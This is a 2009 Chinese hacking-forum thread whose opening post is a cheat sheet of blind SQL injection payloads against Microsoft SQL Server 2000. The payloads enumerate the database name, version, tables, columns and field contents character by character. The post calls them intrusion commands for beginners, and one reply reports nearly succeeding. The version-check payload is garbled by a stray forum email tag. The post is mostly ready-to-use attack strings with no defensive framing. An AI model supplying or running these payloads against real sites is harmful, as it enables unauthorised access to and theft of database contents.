找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 863|回复: 3

mssql盲注常用命令

[复制链接]

71

主题

325

回帖

708

牛毛

一级牛人

积分
708
发表于 2009-5-16 22:09:18 | 显示全部楼层 |阅读模式 来自 湖北省武汉市
闲的没事干,将mssql2000(非显错模式)的入侵常用命令整理下~~。。其实非显错模式也可以用工具进行猜解,但是工具就是不准确喜欢误报。。掌握原理学会手工猜解才是王道~~ 当然以下都是一些基础内容,写给菜鸟朋友的,高手飘过

url and (select ascii(substring((select db_name()),1,1)))>0
/判断当前库名,通过改变1的值逐步猜解整个数据库名。

url and (select substring((select [email=0@@version),23,4))= 2000]0@@version),23,4))='2000'[/email]
/判断数据库版本

url and (select count(*) from sysobjects where name in (select top 1
name from sysobjects where xtype='u') and len(name)=9)=1
/猜解表名长度,改变len(name)的值来确定表名长度

url and (select count(*) from sysobjects where name in (select top 1
name from sysobjects where xtype='u') and ascii(substring(name,1,1))
>90)=1
/猜解表名

url and (select count(*) from syscolumns where name in (select top 1
name from syscolumns where id=object_id('表名')) and ascii(substring
(name,1,1))>90)=1
/猜字段

url and (select count(*) from 表名 where 字段名 in (select top 1 字段
名 from 表名) and ascii(substring(字段名,1,1))>90)=1
/猜解字段内容

常用的大致就这些!~·

8

主题

186

回帖

532

牛毛

一级牛人

积分
532
发表于 2009-5-18 17:12:20 | 显示全部楼层 来自 安徽省淮南市
看不懂!

8

主题

186

回帖

532

牛毛

一级牛人

积分
532
发表于 2009-5-18 17:12:43 | 显示全部楼层 来自 安徽省淮南市
郁闷啊·我菜鸟

8

主题

186

回帖

532

牛毛

一级牛人

积分
532
发表于 2009-5-18 17:13:08 | 显示全部楼层 来自 安徽省淮南市
还有一个就成功了!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-29 03:04 , Processed in 0.253455 second(s), 36 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表